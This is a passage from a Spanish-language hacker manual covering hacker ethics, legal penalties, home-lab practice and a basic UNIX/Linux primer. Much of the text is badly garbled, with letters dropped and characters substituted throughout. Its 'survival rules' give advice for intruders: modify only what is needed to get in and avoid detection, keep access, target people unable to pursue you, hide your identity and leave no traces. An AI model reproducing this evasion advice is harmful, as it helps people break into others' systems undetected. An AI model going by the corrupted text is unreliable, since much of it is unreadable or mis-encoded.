S has consumdo tus aos sguendo un camno en partcuar, has traba|ado duro y estudado as
eccones que te han sdo presentadas, y a travs de esto has ogrado a ttuardad y a |erarqua,
entonces puedes hacer uso de tus habdades. Pero consdera esto: Cmo te sentras s, despus de
todas as penuras que has pasado, te cruzas con un novato con apenas ses meses de aprendza|e y
5 bros, yendo de aqu para a, pavonendose y hacndose amar StarrySk o Lord Thunderbot?
Eso es muy ofensvo.
De a msma manera que tus padres te d|eron cuando eras no o na (o ta vez todava o eres) "no
precptes as cosas, todo egar a su tempo, y te ser ms duce a espera", esto es gua de certo
con e nuestro Ofco.
Usando ttuos vanos, enndote de are a cabeza, camnando sobre as nubes, y en genera dndote
mucha mportanca, no es como vas a convertrte en un hacker expermentado. Y de eso es de o que
trata e Sendero. Lo que ograr es aenarte de as personas que reamente desearas encontrar y
conocer! Nade gusta de a compaa de os fanfarrones, as que no te convertas en uno.
Ganarse e respeto de a comundad es trascendenta. Da pentud menta. Hay que respetar a os
dems y a su traba|o y |ams caer en trunfasmos baratos.
E concepto tota sobre a manera de convertrte en hacker es a travs de estudo y a dedcacn.
Debes acumuar toda a nformacn que puedas. Aprovecha a me|or maestro posbe que
encuentres. Estuda y comprende todo o que egue a tus manos y te srva para ampar tus
conocmentos. Es tu deber sacar partdo de conocmento adqurdo y hacer buen uso de .
Un tmo conse|o. Drgete de vez en cuando afuera y haz comunn con a naturaeza. No soo hay
beeza en os nterruptores y e baudo. Escucha tambn a os rboes, a vento y a a fuerte
corrente de agua de ro, pues ese tambn es e mundo de os hackers.
15
Fosofa
E hacker no nace sendo hacker, se forma a s msmo con a curosdad ba|o e brazo. No es una
acttud que se aprenda rpdamente. Un hacker hace acopo de os conocmentos, matera,
herramentas a su acence y con su habdad para usaros en su provecho, estuda, aprende, apca y
crea. Nunca se queda estancado en o que ya sabe, sno que desea segur en bsqueda de me|ores y
mayores conocmentos. Reguarmente nunca se queda con o aprenddo, o pubca y comparte con
os dems.
E Ofco es en s msmo una fosofa y una habdad. La nformacn acerca de hackng est dspersa
por todo e Internet. Es confusa, a mayor parte de as veces es obsoeta, ncompeta, ma redactada,
con tecncsmos (matera para gures
7
e dcen) y en ngs. Mucha nformacn es fasa tambn. De
hecho, os datos en este documento se harn ve|os en dos aos.
De cuaquer modo, a fosofa de a enseanza hacker es anoga a transmtr a un aprendz os
conocmentos para e desarroo de La Fuerza. De a msma manera, ba|o esta premsa podemos
deducr que, a gua que con os |ed y os Sth, exsten hackers buenos, os umnados; y os hackers
que soo buscan e benefco persona, a venganza, a rqueza fc y e hacer dao. Son stos tmos
quenes estan en e ado oscuro.
No exste ta cosa como "Aprenda a ser un hacker" o "Hackng para dummes". Eso, adems de ser
pretencoso, es faso. Caro que exsten guas y tutoraes en nternet, pero nnguno posee vaor por s
msmo en vrtud de que os datos que proveen dan por sentado conocmentos que a persona que
busca nformacn no posee.
Nnguna persona puede pretender ntentar utzar un programa para controar sstemas remotos
cuando desconoce e protocoo TCP/IP. N pensar en nstaar un troyano en una computadora a|ena
cuando no se comprende cabamente a fosofa cente-servdor.
A gua que con os |eds, e ser hacker mpca mucho entrenamento, horas de estudo y, an cuando
lo lo*ras, d|o Ou Gon |nn, es un camno de traba|o duro y eno de penuras. Impca ser un experto
en o que haces. Son ntermnabes horas de recopacn de nformacn y aprendza|e mezcados con
habdades nnatas que nade puede ensear, s no adqurr. Una cuadad de hacker es que no se
conforma con o que exste, ya que e conformsmo empobrece e esprtu de emprendedor.
El O7icio
A ncarse en e Sendero de hacker, que amaremos e Ofco, os verdaderos artfces sguen e
conocdo aforsma de os mdcos "Prmum Non Nocere", prmero est e no daar. sa es a prmera
rega de supervvenca de hacker. Todos os especuadores de Wa Street saben que a nformacn -y
por ende, e conocmento- es poder y es ben certo que un hacker puede hacer ma uso de a
nformacn recbda.
Es muy tentador y atrayente, pero os hackers ms avspados saben que actuar macosamente
puede desembocar en stuacones egaes que captarn rpdamente a atencn de as fuerzas de a
ey. Soo os aprendces ms mezqunos buscan a duzura de ado oscuro buscando e benefco
persona, a dversn nsana o para sacar una nmadura sed de venganza.
Lo que caracterza a as personas que presumen de poder penetrar sstemas como s de |ovenctas
vrgnaes se tratara, es bscamente su pacenca, su poder de observacn, su perca a a hora de
recopar y casfcar a nformacn, su capacdad de deduccn, de anass y de resoucn de
probemas. Los hackers verdaderos dvden os probemas en otros ms pequeos que se rn
resovendo para poder egar a a meta deseada.
7Guru (gur) Persona a la que se considera como el sumo manantial de sabidura sobre un determinado tema.
16
:tica del ,ac*er
Lo dea en un hacker que ha descuberto agn tpo de vunerabdad, dgamos por e|empo en una
pgna web corporatva, es no descargar nngn dato comprometedor, n archvos en nngun tpo de
formato, no mprmr pantaas, no copar bases de datos ndexados; vamos, n squera anotar nada
en un pape.
Un hacker con certa carga tca expcara de manera annma y desde una compuadora en un
cbercaf, nunca de a suya propa, a a empresa u organsmo que e error descuberto da acceso a os
datos a cuaquer persona. Esto se hace asegurndose que e mensa|e ega a a persona adecuada.
Ahora ben, sI no hacen caso, puede amarse por tefono pbco a departamento tcnco o de
nformtca de a empresa para haceres saber e resgo que sufren. S pasado agn tempo hacen
caso omso de os mensa|es, puedes pubcar a vunerabdad en agn foro dando os detaes de
fao, de manera que otros puedan verfcar e error y procedan de gua forma.
Estereoti&o del ,ac*er
La paabra hacker se ha desvrtuado a o argo de muchos aos. En readad sgnfca ms que un
"prata nformtco" o de o que a documentacn en os medos notcosos nos ha hecho creer. Un
hacker es un experto porque su curosdad persona o ha evado a ese nve. Sabe que puede sacar
provecho de aqueo sobre o que tene poder y controa. Posee una |erarqua eevada y sabe medrse.
tmamente se ha utzado e trmno experto en segurdad nformtca como snnmo de hacker y
as es en readad. Prata nformtco es un ad|etvo peyoratvo con e que nngn hacker quere verse
reaconado.
Exsten muchas descrpcones y estereotpos en base a o que a gente percbe como hacker. Desde e
adoescente eno de espnas, ocuto en su cuarto o sotano, que se a pasa frente a a computadora
en cuyo montor se ven etras bancas sobre fondo negro hasta e moderno terrorsta cberntco, ben
penado y que sempre porta a todas partes una aptop, a paabra hacker se ha adoptado por cada
persona que a ha querdo usar.
A muchos hackers os tachan de geeks
8
, pero no todos os verdaderos geeks egan a rango de
hackers. Aunque gustan de as computadoras, os geeks abundan ms en e rea eectrnca. Lo
msmo sucede con os nerds, un hacker no es un nadaptado de gran ntegenca. A muchos nerds no
es nteresa para nada e rea nformtca, aunque otras cencas son sus predectas, como a
qumca, a booga y as matemtcas.
La readad es que a magen de hacker est muy ae|ado de as fantasas de popuacho. Segn
mencona Erc Steven Raymond, os hackers son personas ntegentes, ntensos, muchas veces
abstrados e nteectuamente abertos. Sempre se nteresan por cuaquer cosa que es pueda
proporconar estmuacn menta y es comn que se nteresen por e hackng donde se desenvueven
fcmente. Les agrada tener e contro sobre as computadoras o as teecomuncacones y son estos
eementos os ob|etos sobre os que se apasonan porque son nstrumentos de o nteresante y sobre
os que apcan sus propas deas y no as de otros.
Muchos hackers verdaderos preferen e desafo de conocmento a una recompensa monetara por
un traba|o. De cuaquer manera, os ms ntegentes termnan por deddrse a poner su propa
empresa o son contratados por compaas que pretenden aprovechar sus conocmentos.
8Persona que siente un entusiasmo ilimitado por la tecnologa en general y por la Informtica e Internet en particular.
17
Regas De Supervvenca De Hacker
I. Nunca daar intencionadamente ningn sistema. Lo nico que conseguirs es atraerte los problemas y nadie
quiere traer cola que le pisen.
II. Modificar slo lo estrictamente necesario para entrar y evitar ser detectado, o para poder acceder al sistema
en otras ocasiones.
III. No ac!ear buscando vengan"a ni por intereses personales.
I#. No ac!ear sistemas de gente que no tenga mucos recursos monetarios. Mucos an traba$ado duramente
para comprarse una computadora como para que venga un cico listo y les tumbe el sistema. %ara ellos es
dif&cil reponerse de un ataque fuerte.
#. No ataques sistemas de organismos poderosos o de empresas que s& puedan darse el lu$o de gastar dinero y
recursos en buscarte.
#I. %uedes odiar a tu compa&a proveedora de Internet, pero nunca tratar de fastidiarla.
#II.No ac!ees dependencias del gobierno. 'i alguien tiene los recursos ilimitados para ca"arte, son ellos y lo
arn. (sto es a diferencia de una compa&a que tiene que lograr una ganancia, pagarle a sus empleados y
$ustificar sus gastos. )ay que recordar simplemente que la polic&a traba$a para ellos.
#III.No conf&es en nadie las a"aas perpretadas. )ubo ac!ers que fueron atrapados por aber confiado en sus
boquiflo$as novias. '* cuidadoso con qui*n compartes informacin. Las dependencias gubernamentales que
persiguen cr&menes informticos se estn poniendo ms maosas. )ay que ser cauteloso.
I+. ,uando carles en -oros o ,ats, debes ser lo ms discreto posible ya que todo lo que escribas quedar
registrado .incluyendo tu direccin I%/. La mayor&a de los ac!ers realmente geniales $ams anuncian nada
acerca del sistema en el que estn traba$ando actualmente sino es en el sentido ms amplio .0estoy
dedicndome a un 1NI+0, 0(stoy traba$ando en un ,2'M2'0/, o algo gen*rico. Nunca dicen 0(stoy
entrando al sistema de ,orreo de #o" de 'oriana )ypermart0 o algo tan absurdo y revelador como eso./
+. No 3e$es tu nombre real .o el de ningn otro/, tu nombre de usuario verdadero o tu propio nmero de
tel*fono en ningn sistema al que ayas accedido de manera poco legal.
+I. '* paranico. La caracter&stica ms notable en los ac!ers es la paranoia. Nunca digas que eres un ac!er.
No duele almacenar todo oculto criptogrficamente en tu disco duro, o mantener tus anotaciones sepultadas
en el patio trasero de tu casa o en la ca$uela del coce. (s posible que te sientas un poco rid&culo, es cierto,
pero ms rid&culo te sentirs cuando cono"cas a %anco Maranco, tu compaero de celda psicpata que
elimin a aca"os a su familia porque le recriminaron que gastaba ms en cerve"a que en comida.
+II.No ay que de$ar datos que se puedan rastrear asta ti o relacionarse contigo .efecto )ansel y 4retel/.
+III.)ay que estudiar muco. (l error de los novatos es querer acer las cosas avan"adas de modo inmediato.
5ien dicen que antes de correr ay que aprender a caminar primero. (sto tiene muco de verdad.
+I#.3ebes actuali"arte constantemente en virtud de que el mundo de la informtica siempre avan"a. Igual que
los m*dicos que deben estar al d&a con la nueva informacin, los ac!ers, incluso los de rango *lite, tambi*n
deben aprender sobre los nuevos sistemas que van apariciendo en el universo donde se desenvuelven.
+#.No temas acer preguntas. %ara eso estn los ac!ers ms e6perimentados. 'in embargo, no esperes que
todo lo que preguntes sea contestado. )ay algunas cosas con las que un ac!er incipiente como t no
deber&a involucrarse. Lo que logrars es ser atrapado y ecars todo a perder para los dems o ambas cosas.
+#I.-inalmente, tienes que e$ercer el 2ficio por tu cuenta. %odrs frecuentar los 5ulletin 5oards todas las veces
que se te anto$e, podrs leer todos los arcivos de te6to en el mundo, pero no ser asta que realmente
comiences a acerlo que sabrs de qu* trata todo esto. No ay emocin mayor que la de introducirse en tu
primer sistema .est bien, puedo pensar en un par de emociones mayores, pero t me entiendes./
18
Hackers y Deto
Como d|o e Merovngo, persona|e de a troga Matrx, basndose en una de as eyes de Newton:
2oda accin es correspondida por una reaccin i*ual y opuesta. Accn y consecuenca. No puede
exstr una accn sn una consecuenca que pagar y esto tambn es certo en matera de
conocmento hacker.
Cuaquer experto en cuaesquer matera sabe que a nformacn es poder y o pegroso que puede
egar a ser e hacer ma uso de a nformacn que se adquere sn mportar e medo por e que sta
se recba. Todos os das, muchsmos especuadores en Wa Street ganan mes y mes de dares
smpemente manpuando a su anto|o a nformacn, provocando mes de dares en prddas a
quenes muerden su anzueo.
r;men ) astigo
Es mportante saber que entrar a un sstema nformtco a|eno, ya sea una computadora encendda
en un cuarto u ofcna y sn boqueo aguno, sn autorzacn de propetaro tene e msmo peso ega
que entrar a una casa que no es nuestra. No mporta que se hayan quedado as ventanas abertas o
que e cerro|o de a puerta no estuvera puesto. No nteresa que soo hayamos entrado y sado sn
tocar nada de vaor. E crmen es haber rrumpdo en esa casa sn permso y es un deto de
aanamento de morada.
Hay que de|aro ben caro y metrnoso a a cabeza, an con todo y a tca que uno pueda poseer, a
ntrusn a sstemas a|enos es in7ringir la le). Punto.
La nformacn permte e conocmento y as habdades propas para usar esos conocmentos son
os que dan forma a Ofco de hacker. Captar a nformacn, ndependentemente de su procedenca,
anazara y ponera en accn es nuestra tarea. A mayor nformacn, mayor conocmento y por
ende, mayor poder. Pero cuando ese poder se desborda y se vueve mposbe para una persona
ponderar as accones basadas en ese poder, es entonces cuando comenza una carrera en espra y
sn fn haca e deto. Empeza un crcuo vcoso de cua dfcmente se puede sar uno.
Mentras ms fc sea cometer un crmen, ms pensa uno que nunca nos van a atrapar, nos creemos
ms ntegentes que os dems y contnuamos cometendo una y otra vez os actos dectvos. Nos
convertmos en mahechores. Sobre todo cuando e deto cometdo nos proporcona benefcos
fnanceros. Pero sempre hay aguen ms sto que nosotros y ah es cuando nuestra carrera termna.
A veces, antes de comenzar.
Un dcho reza ".os criminales caen cuando se vuelven codiciosos". Y es certo. Los crmnaes que han
tendo un ponderado xto en sus andanzas se vueven descudados porque e exceso de confanza
es nuba a cabeza con deas ocas y efectan accones cada vez ms temeraras y van de|ando
hueas detrs de eos. Nada ms que a verdad.
En estos das modernos donde ya nade sabe en dnde est a nea que dvde o bueno de o mao n
o correcto y o ncorrecto, os detos cberntcos estn sendo tpfcados como egaes y acreedores
a penas carcearas en varos pases de mundo. Dfcmente encontraremos un pas donde os |ueces
sean ndugentes con hackers macosos que roban nformacn para benefco propo o de terceros.
Todos recordamos a pseudo-hacker ondnense atrapado por a poca en agosto de 2008 por
ngresar a sstema de a NASA. Una de as regas de os hackers es "nunca entrar a un sstema que
pertenezca a una entdad que posea os sufcentes recursos fscos y monetaros para persegur a
nfractor y sacaro de a crcuacn por agunos aos".
19
Penas
Las penas pueden varar segn a modadad y gravedad de deto y ser dferentes segn e pas
donde se orgn e ataque. Exsten penas que tras grar e auto de forma prsn, se e mpone a
nfractor un castgo que puede r de uno a cnco aos, ms e hecho de que se e emtr una orden de
restrccn y no podr acercarse a as nmedacones de una computadora o dspostvo anogo por
un argo tempo.
Ya vsto o que a uno e espera, hay que evtar andar por ah ntentando expotar vunerabdades o
aprovechndose de datos obtendos de manera frauduenta. Hay que recordar tambn que a ey no
contempa e "es a prmera vez que o hago". Aunque no es ago que, por e|empo en Mxco, se
persga de ofco, a smpe denunca de un ataque o ntrusn basta para buscar, en|ucar y
encarcear a vaente tras e montor y e tecado.
Trabajo en casa
Para obtener conocmentos o bsco es expermentar y se debe hacer en sstemas propos y no en
a|enos. Sempre se puede montar una pequea red casera bonta y barata. Lo ms bsco es coocar
una computadora ve|ta, de as de procesador 486 que se puede usar como "ca|a de arena" para
hacer pruebas nofensvas. De esta manera no hacemos dao a nade, n voamos nnguna ey.
En esta computadora se puede nstaar e software que se quere examnar y se accede a ea a travs
de una computadora persona ms potente. De este modo es como hay que traba|ar en procesos de
prueba y error, de manera que por un ado se aprenda a descubrr faos de segurdad y por e otro
confgurar y resover os probemas de manera rpda y efcaz. De hecho, a mayora de os e|erccos
presentados en este documento fcmente pueden ser practcados de modo menconado.
Exste en Internet mucha nformacn detaada acerca de a nstaacn de redes pequeas caseras
que nos pueden ayudar.
Obligaciones de las entidades
Toda entdad ofca o comerca tene a responsabdad y a obgacn mora de proteger os datos
confdencaes de sus abonados, suscrptores o centes por todos os medos posbes. Aqu no hay
cabda para a neggenca. Deben evtarse fascos y escndaos como e de a reveacn de datos de
bsqueda por parte de AOL en agosto de 2006.
20
SEGUNDA PARTE
Aprendiendo el Oficio
21
Unas Paabras Sobre UNIX y Lnux
Durante todo este documento haremos mencn a UNIX como e supremo sstema operatvo de
paneta; esta aseveracn no carece de verdad y no hay hacker en e mundo que no sepa usaro. Para
convertrse en un hacker te hay que aprender a usar UNIX, punto. Muchos de os conceptos
utzados aqu se pueden apcar a entorno Lnux, aunque con certas excepcones.
Para habar de UNIX no nos vamos a detener en contar su hstora, que es muy nteresante, pero que
puede eerse en a Wkpeda, sno de agunas de as caracterstcas mportantes que o han hecho e
sstema operatvo ms competo y estabe.
Las caracterstcas fundamentaes de UNIX moderno son:
<emoria 1irtual:
Memora grande y nea: Un programa en una mquna de 32 Bts puede acceder y usar dreccones
de un rango de 4GB en un mquna de soo 4MB de RAM. E sstema soo asgna memora autntca
cuando e hace fata, en caso de fata de memora de RAM, se utza e dsco duro (swap).
<ultitarea =<ultitas*ing>:
Cada programa con su propa "dea" de a memora. Es mposbe que un programa afecte a otro sn
usar os servcos de sstema operatvo. S dos programas escrben en a msma dreccn de
memora, cada uno mantene su propa dea de su contendo.
<ultiusuario:
Ms de una persona puede usar a mquna a msmo tempo.
Programas de otros usuaros contnan e|ecutndose a pesar de haber entrado en a mquna.
Cas todo tpo de dspostvo puede ser acceddo como un archvo.
Exsten muchas utdades dseadas para que a sada de una pueda ser a entrada de a otra.
Permte compartr dspostvos (como dsco duro) entre una red de mqunas.
En vrtud de su naturaeza mutusuaro, hay que tener en mente que nunca debe apagarse una
mquna con UNIX, ya que una mquna apagada sn razn puede provocar a prdda de traba|os de
das, desaparecer os tmos cambos de os archvos, a parte de r dsmnuyendo e desempeo de
dspostvos como e dsco duro.
Ar-uitectura
La arqutectura de UNIX consste en tres dferentes capas:
1.- E kerne es e corazn de sstema operatvo. Es e responsabe de controar e hardware y de
asgnar os dferentes recursos a os procesos.
2.- E she es e ntrprete de comandos y es generamente con qun nteractan os usuaros.
3.- Utdades y apcacones.
El ?ernel
E kerne, tambn amado nceo, es qun controa a computadora y hace que os recursos de a
msma estn dsponbes a os procesos de os usuaros.
Entre as dferentes tareas funconaes de Kerne estn: controar e hardware, mane|ar os
dspostvos de Entrada/Sada, soportar comuncacones, asgnar recursos de sstema, asgnar
mecansmos de proteccn, mantener a estructura dearchvos, etc.
Los dstntos programas que se e|ecutan en un entorno UNIX obtenen servcos de Kerne medante
comandos de ba|o nve amados SYSTEM CALLS.
22
El 0+ell
E she o ntrprete de comandos es e encargado de nteractuar con e usuaro y e|ecutar os
dstntos comandos soctados por este.
Sus caracterstcas prncpaes son: entomo de e|ecucn confgurabe, que permte crear y modfcar
comandos, prompts y otras utdades; fu|o fexbe de datos, que facta usar a sada de un
comando como entrada de otro; engua|e de comandos de ato nve, que ncuye un con|unto
competo de estructuras de contro (f, do, whe, etc.) y permte a programacn de a e|ecucn de
os comandos; redreccn de entrada/sada, permte guardar a sada de un comando a un archvo o
utzar un archvo como entrada de un comando.
Exsten dferentes ntrpretes de comandos dentro de UNIX, cada uno orentado a dferente tpo de
uso o usuaro:
@ourne 0+ell =s+> : es e estndar y tene gran facdad de uso sobre todo para programacn.
Aob 0+eli =ds+> : es una versn ampada de Boume She, que ncuye facdades para contro de
traba|os en background.
50+ell =cs+> : es smar a Bourne, pero tene mayor fexbdad para su uso nteractvo. Provee
mecansmos adconaes para guardar hstora de comandos, ree|ecucn y susttucn de comandos.
?orn 0+ell =*s+> : nuevo ntrprete de comandos, se est convrtendo en e nuevo estndar. Es
totamente compatbe con e Boume She, pero ncorpora, entre otras, facdades de C-She y
contro de traba|os en background.
Bestricted 0+ell =rs+> : versn restrngda de Boume She. So permte a e|ecucn de un
mtado nmero de operacones en e sstema y est dseado para mane|ar ms efcentemente a
segurdad.
Bestricted 50+ell =rcs+> : versn restrngda de C-She.
Bestricted ?orn 0+eli =r*s+> : versn restrngda de Kom She.
<anejo de Procesos
Los procesos son mane|ados por e Kerne. Este va asgnando a cada proceso una certa cantdad
de tempo de CPU (tme sce), uego o suspende y permte a otro proceso a utzacn de a CPU.
La prordad de cada proceso puede ser gestonada asgnndoe una mayor o menor prordad
dependendo de a reevanca de proceso.
Login
Para entrar, se presenta en a pantaa e mensa|e de ogn. Debemos ntroducr nuestro nombre de
usuaro y e password. En Lnux, prncpamente s vamos a utzar e modo Super Usuaro (root) en
una termna, os caracteres de que se compone e password nunca son despegados en a pantaa, a
excepcn de os caracteres normaes que teceamos en otra parte que no sea e sstema de ogn.
Estro es una remnsenca de ogn de UNIX. Una vez que se ntrodu|o e nombre de a cuenta y a
contrasea, e sstema mostrar e mensa|e de benvenda e nmedatamente har su aparcn e
prompt de ntrprete de comandos (que tambn conocemos como termna, she o consoa de
comandos).
A prncpo se puede ver que a pantaa se parece mucho a a que muestra e DOS, sn embargo, os
comandos que se tecean para ser envados a kerne de sstema son dferentes. UNIX, a dferenca de
de DOS, e ncusve de Wnxx, UNIX da ms contro de sstema a usuaro.
A cada entrada a sstema se e conoce con e nombre de sesin de usuario.
El &rom&t
Una vez que se ha hecho e ogn, e she muestra un prompt para ndcar que est sto para e|ecutar
un comando. Este prompt es dferente de acuerdo a cada she o a cada tpo de usuaro. Adems e
usuaro puede varar e prompt de acuerdo a su preferencas o necesdades.
23
Los prompts ms usuaes son:
$ (usuaro norma con Bourne She o Kom She)
C (usuaro norma con C-She)
% (para super usuaro root con cuaquera de os ntrpretes de comandos)
Logout
Para sar de sstema es necesaro dar lo*out. Este depende tambn de she que se est usando. S
se utza Boume She o Kom She se deben pusar a msmo tempo as tecas <Ctr>+<D> o
smpemente tecear e comando exit. En C-She normamente se ntroduce logout o exit. De este
modo termna nuestra sesn UNIX. Es tan mportante e ogout porque s ovdamos cerrar a sesn,
cuaquer persona puede tener acceso a nuestros archvos y hacer modfcacones ndeseabes.
Las termnaes pueden ser soo de texto o de tpo grfco. E de tpo grfco consta de pantaa grfca,
tecado y ratn. Dcha pantaa suee ser de ata resoucn y a menudo en coor. Aunque a comenzar
a sesn, sueen estar en modo texto, una vez ncada sta, se puede traba|ar en modo grfco. En
este modo se pueden empear ventanas que emuan e comportamento de un termna de texto.
Almacenamiento de Arc+ivos
Los sstemas de archvos que son comunes a todas as mqunas son usuamente:
2+ome - Espaco reservado para as cuentas de usuaros
2bin, 2usr2bin - Bnaros (e|ecutabes) bscos de UNIX. E drectoro /usr/bn es e ugar a donde van
os archvos bnaros compados para que sean nvocados desde cuaquer parte de she. Por
e|empo, tras compar e NetCat, su bnaro e|ecutabe se cooca ah manuamente y desde cuaquer
drectoro en que estemos, smpemente abrmos una termna (en Lnux debemos hacero con
prvegos de admnstrador root) y tecemos e nombre de bnaro: nc.
2usr2local - Zona con as apcacones no comunes a todos os sstemas UNIX, pero no por eo menos
utzadas. Es en esta zona donde se pueden encontrar cosas como Informacn reaconada con
aguna apcacn (en forma de pgnas de manua, texto o ben, archvos Postscrpt), archvos de
e|empo, tutoraes, etc.
Organi/aci'n de arc+ivos
Ti&os de arc+ivos: UNIX tene tres tpos dferentes de archvos (mas agunos otros que no son de
tan cara dentfcacn). Cada uno de eos son nombrados de acuerdo a a msma convencn, pero
son mane|ados nternamente de muy dferente manera.
Los dstntos tpos son:
Arc+ivos regulares: son aqueos archvos comunes donde se guarda a nformacn. UNIX no
dstngue especamente a estos archvos entre s, savo por e uso que se e vaya a dar. Dentro de
eos podemos encontrar programas e|ecutabes, bbotecas de programas ob|eto, bases de datos,
archvos de texto, etc.
Directorios: os drectoros son archvos que contenen a taba de contendo o sta de os archvos
de un Fesystem de UNIX. Asocado a cada entrada en esta taba est e nombre de archvo,
permsos de acceso, tamao, fecha de creacn, dentfcacn de dueo, etc.
Arc+ivos Es&eciales: dentfcan dspostvos de hardware y drvers de software.
Arc+ivos
En un sstema computacona, os datos se encuentran en archvos que contenen nformacn. Para
organzar toda a nformacn se dspone de una entdad denomnada drectoro, que permte e
amacenamento en su nteror tanto de archvos como de otros drectoros. Se dce que a estructura
de drectoros en UNIX es |errquca o en forma de rbo, debdo a que todos os drectoros nacen en
un msmo punto (que amamos directorio raz). De hecho a zona donde uno traba|a es un nodo de
esa estructura de drectoros, pudendo uno a su vez generar una estructura por deba|o de ese punto.
24
Un archvo se encuentra stuado sempre en un drectoro y su acceso se reaza empeando e camno
que conduce a en e rbo de Drectoros de Sstema. Este camno es conocdo como e PATH. E
acceso a un archvo se puede reazar empeando:
Pat+ Absoluto: Aque que empeza con "2", por e|empo : /etc/prntcap
Pat+ Belativo: Aque que NO empeza con "2", por e|empo : exampes/rc.cr
Los nombres de archvos y drectoros pueden empear hasta un mxmo de 255 caracteres, cuaquer
combnacn de etras y smboos (sn embargo, e caracter "/" no se permte). Los caracteres comodn
pueden ser empeados para acceder a un con|unto de archvos con caracterstcas comunes.
Hay que advertr que UNIX dstngue entre etras mayscuas y mnscuas (o que se conoce en
ngs como case sensitive) de ta forma que un archvo amado gerryson es dstnto que uno amado
GerrYsOn.
E sgno de astersco "*" puede susttur cuaquer con|unto de caracteres, ncudo e "." (punto); y e
sgno "?" para ndcar cuaquer carcter ndvdua, ta y como se hace en e DOS sempre tenendo
en cuenta que UNIX no es DOS.
Directorios
La forma de organzar archvos en UNIX es por medo de drectoros. Un drectoro es una sta de
archvos, donde cada uno de eos tene un nombre nco. Los drectoros se utzan para casfcar os
archvos de acuerdo a dferentes tpos o categoras. Aunque no hay regas a este respecto, a efectos
de tener a nformacn ben organzada y en forma cara, se recomenda agrupar os dferentes tpos
de archvo en drectoros dstntos (por e|empo os programas fuentes en uno, os e|ecutabes en otro,
os datos en un tercer drectoro y as por e esto).
Un drectoro puede contener otros drectoros. Las regas para e nombrado de os drectoros son as
msmas que para archvos. Los drectoros son mane|ados por comandos especaes.
El directorio ,O<E: cada usuaro tene un "home drectory" (o drectoro de nco) que es e
drectoro donde e sstema o poscona cuando hace e ogn. Los drectoros "home" de os usuaros
estn generamente ocazados ba|o e drectoro 2u o 2usr4 S ben esto no es obgatoro, es una
prctca extendda. Hay que comentar que es necesaro que e nombre de drectoro home sea gua
o contenga e nombre de ogn de usuaro. Es e admnstrador de sstema quen defne a dar de ata
a un nuevo usuaro cu va a ser su home drectory.
Estructura t;&ica de directorios en DNEF
S ben no hay una estructura de drectoros f|a en UNIX, en genera en todos os sstemas se
conserva una estructura tpca y muy seme|ante una parte. Hay determnados drectoros que
sempre exsten y son utzados por os dstntos comandos para buscar nformacn necesara para
su e|ecucn. Estos son: /etc, /bn, /dev, /b, /usr/b y /usr/bn.
Dot Directories
Cada drectoro tene asocado dos nombres especaes amados "." (punto) y ".." (punto punto). Cada
vez que se crea un drectoro, automtcamente se e ncuyen estos dos.
E "." es e nombre de propo drectoro. De este modo, tomando e e|empo anteror, datos2&aises
es equvaente a 42datos2&aises.
E ".." es e nombre de drectoro nmedatamente superor. Sguendo con e e|empo anteror, s e
drectoro de traba|o es 2u2usrl2datos, entonces 442&rogs2&rogram4c se refere a archvo que tene
como path absouto 2ulusrl2&rogs2&rogram4c.
25
Los Dsuarios
UNIX y Lnux son sstemas operatvos mutusuaro. Cada usuaro generamente tene su carpeta de
usuaro en /home/usuaro. Por defecto so puede escrbr, modfcar y borrar archvos dentro de esta
carpeta. Nngn otro usuaro (excepto root) puede acceder a os archvos que hay en este drectoro,
n squera puede ver cues son. Este usuaro -por defecto- puede eer en e resto de as carpetas que
hay en e sstema de archvos excepto en a de root y as de otros usuaros. Todos os programas
recuerdan as preferencas de cada usuaro, e ncuso un usuaro puede nstaar un programa sn que
os otros usuaros tengan acceso a ; aunque nstaando os usuaros tenen muchas mtacones
como veremos despus. Un usuaro no puede causar por este motvo dao a sstema n cambar su
confguracn de nnguna forma.
Dsuario root
En cuaquer sstema UNIX, root es "el que todo lo puede", e todopoderoso. Es a excepcn que
confrma a rega, es e superusuaro de estos sstemas. Cuando se hace un ogn como root en una
mquna GNU/Lnux, sente e poder ba|o tus tecas. Podemos hacer todo o que nos pase por a
cabeza. Tenemos acceso a todo e sstema. Pero cudado: una equvocacn sera fata. Un smpe
error podra coapsar todo e sstema y os precados datos y confguracones que tengamos en . Por
esto, para tareas normaes sempre entraremos a sstema como un usuaro norma por os resgos
que se corren traba|ando como root. Adems nunca usaremos Internet como root. Incuso agunos
programas no permten ser e|ecutados por root por motvos de segurdad. Como ya se habr
advnado, a contrasea de root se a guarda uno en a cabeza y se asegura que no se e ovda, y por
supuesto se preocupa uno de que nade pueda acceder a ea en nngn archvo o de que no a ven
cuando a escrbmos. S se cree que a han poddo advnar o estn cerca, se camba. Cuanto ms
arga, tedosa y sn sentdo sea esta contrasea, ms seguro estar nuestro sstema.
Una anotacn a parte es que cuando se utza un Lve CD, para probar as caracterstcas de una
dstrbucn Lnux antes de nstaaro en e sstema, hacemos uso de sstema como root, pero soo es
en esta modadad, ya que sendo nstaado e sstema en nuestro dsco duro, pasamos a ser un
usuaro norma.
Permisos ) Privilegios
Todos y cada uno de os archvos y drectoros de rbo |errquco que monta nuestro sstema Lnux
tenen permsos o prvegos. Estos permsos dcen, para cada usuaro de sstema, s puede
e|ecutaro, s puede ver su contendo, o ncusve s puede borraro o modfcaro. De msmo modo,
cada eemento de sstema de archvos tene un dueo. Por defecto, este dueo de eemento (tanto
drectoro como archvo) tene acceso tota a y puede reazar todas as accones posbes
permtdas. E resto de usuaros pueden eer y e|ecutar este eemento por defecto aunque todo esto
se puede cambar para cada uno de os eementos.
Todos os archvos de as carpetas de sstema y confguracn sueen tener a root como propetaro.
Los de a carpeta persona de cada usuaro tenen a ese usuaro como propetaro, pero e resto de
usuaros normaes no tenen nngn permso sobre estos eementos, y o msmo ocurre con a carpeta
de root (que se encuentra en a raz, en /root).
Un archvo tene dstntos nvees de permsos: ectura, escrtura y e|ecucn. Los permsos sobre un
archvo (o drectoro) pueden ser dstntos para e usuaro dueo, para os usuaros pertenecentes a
grupo dueo, y por tmo para e resto de os usuaros de sstema. As, podemos hacer que e
usuaro dueo puede eer, escrbr, y e|ecutar un archvo; que e grupo dueo soo pueda eero, y que
e resto de usuaros de sstema no tengan nngn prvego sobre , por e|empo.
Una buena asgnacn de dueos de eementos |unto con una potca adecuada de permsos sobre
estos eementos, permten obtener dos cosas: un sstema mutusuaro, y un sstema seguro.
26
S usamos e comando ls 5la en un drectoro que tenga agunas cosas veremos ago como:
gerry@Oranna:-$ s -a Documents/Lnux
drGxr5xr5x 2 gerry gerry 328 2008-10-13 15:11 .
